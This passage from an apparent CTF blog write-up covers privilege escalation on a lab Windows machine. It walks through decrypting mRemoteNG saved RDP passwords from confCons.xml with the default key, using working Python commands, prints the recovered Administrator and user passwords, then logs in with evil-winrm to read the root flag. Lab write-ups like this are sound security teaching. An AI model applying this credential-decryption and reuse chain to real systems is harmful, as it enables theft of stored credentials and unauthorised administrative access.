Microsoft Visual C++ 2019 X... 14.24.28127                                       msi
OpenSSHUtils                   0.0.2.0          https://www.powershellgallery... PowerShellGet

mRemoteNG is under the 1.76.11.40527 version.

2 connections are setup, whose names are DC and L4mpje-PC, configured to login with RDP on 127.0.0.1 and 192.168.1.75 respectivelly.

These connections have a Password entry, which is encrypted. But a quick googling on how to decrypt these passwords leads to this mRemoteNG_password_decrypt GitHub project.

In a nutshell, this script:

  • Checks if an encryption block cipher mode is defined in the configuration file, or result to CBC by default. Our config file sets it to GCM:

      jamarir@kali:~$ python
      >>> import re
      >>> conf = open("confCons.xml", "r").read()
      >>> re.findall('BlockCipherMode="([^"]*)"', conf)
      ['GCM']
    
  • If the config file is encrypted as a whole with FullFileEncryption set, then we decrypt the whole config file. This is not the case here:

      >>> re.findall('FullFileEncryption="([^"]*)"', conf)
      ['false']
    
  • For each node (i.e. 2 connections here), grab the interesting attributes (password in particular):

      >>> re.findall(' Name="([^"]*)"', re.findall('<Node .+?>', conf)[0])[0]
      'DC'
      >>> re.findall(' Username="([^"]*)"', re.findall('<Node .+?>', conf)[0])[0]
      'Administrator'
      >>> re.findall(' Hostname="([^"]*)"', re.findall('<Node .+?>', conf)[0])[0]
      '127.0.0.1'
      >>> import base64
      >>> data = base64.b64decode(re.findall(' Password="([^ ]*)"', re.findall('<Node .+?>', conf)[0])[0])
      >>> print(data)
      b'hE\x8d\x15^n\x19\xc8\xd4\x1c].K^\xd0M\xd4\xfd\x91Z\xad(#\xde\xa0-\r\xc3\x97fh\xf1c5\r\xa4\xb7\xfc\xce\xe7\x10\xea\x13\x81\xddVa\xc0\xa3\x05Qt.\xde\x99\xfe\xe5Y`5\xd1\xd4\n\x8b'
    
  • Finally, decrypt the password with the default mRemoteNG key:

      >>> import hashlib
      >>> from Cryptodome.Cipher import AES
      >>> AES.new(hashlib.pbkdf2_hmac('sha1', b'mR3m', data[:16], 1000, dklen=32), AES.MODE_GCM, data[16:32]).update(data[:16]).decrypt_and_verify(data[32:-16], data[-16:]).decode()
      'thXLHM96BeKL0ER2'
    

GG WP !

jamarir@kali:~$ python mremoteng_decrypt.py confCons.xml
Name: DC
Hostname: 127.0.0.1
Username: Administrator
Password: thXLHM96BeKL0ER2

Name: L4mpje-PC
Hostname: 192.168.1.75
Username: L4mpje
Password: bureaulampje

jamarir@kali:~$ evil-winrm -i 10.10.10.134 -u 'Administrator' -p 'thXLHM96BeKL0ER2'
*Evil-WinRM* PS C:\Users\Administrator\Documents> gc ../desktop/root.txt
b9[...]1a

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!